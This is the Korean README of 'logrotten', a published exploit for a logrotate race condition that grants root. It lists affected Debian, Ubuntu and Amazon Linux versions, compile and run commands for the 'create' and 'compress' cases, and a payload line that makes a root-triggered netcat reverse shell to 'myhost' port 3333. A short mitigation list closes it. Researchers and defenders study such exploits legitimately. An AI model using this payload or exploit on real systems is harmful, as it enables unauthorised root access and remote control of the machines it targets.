[!WARNING]
이 저장소는 https://codeberg.org/whotwagner/logrotten(으)로 이동되었습니다. 최신 업데이트를 확인하려면 새 위치를 방문해 주세요.
logrotate 경쟁 조건을 이용한 권한 상승

간단한 설명
- logrotate는 로그 파일 이름을 변경한 후 경쟁 조건(race condition)에 취약합니다.
- logrotate가 root로 실행되고, 파일을 생성하는 옵션(create, copy, compress 등)이
설정되어 있으며, 사용자가 로그 파일 경로를 제어할 수 있다면
경쟁 조건을 악용하여
임의의 디렉터리에 파일을 쓸 수 있습니다.
- 공격자는 "/etc/bash_completition.d/"와 같은 디렉터리에 리버스 셸을 작성하여
권한을 상승시킬 수 있습니다.
권한 상승을 위한 전제 조건
- logrotate는 root로 실행되어야 합니다.
- 로그 경로(logpath)는 공격자가 제어할 수 있어야 합니다.
- logrotate 구성에 파일을 생성하는 옵션이 설정되어 있어야 합니다.
테스트된 버전
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
컴파일
- gcc -o logrotten logrotten.c
페이로드 준비
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
익스플로잇 실행
logrotate.cfg에 "create" 옵션이 설정된 경우:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
logrotate.cfg에 "compress" 옵션이 설정된 경우:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
알려진 문제
- docker 컨테이너나 lvm2 볼륨 내부에서 경쟁 조건을 이기기 어려웠습니다. 이 버전의 logrotten은 안정성을 개선합니다.
완화 방법
- 로그 경로(logpath)가 root 소유인지 확인하십시오.
- logrotate.cfg에서 "su" 옵션을 사용하십시오.
- selinux 또는 apparmor를 사용하십시오.
저자
참고 자료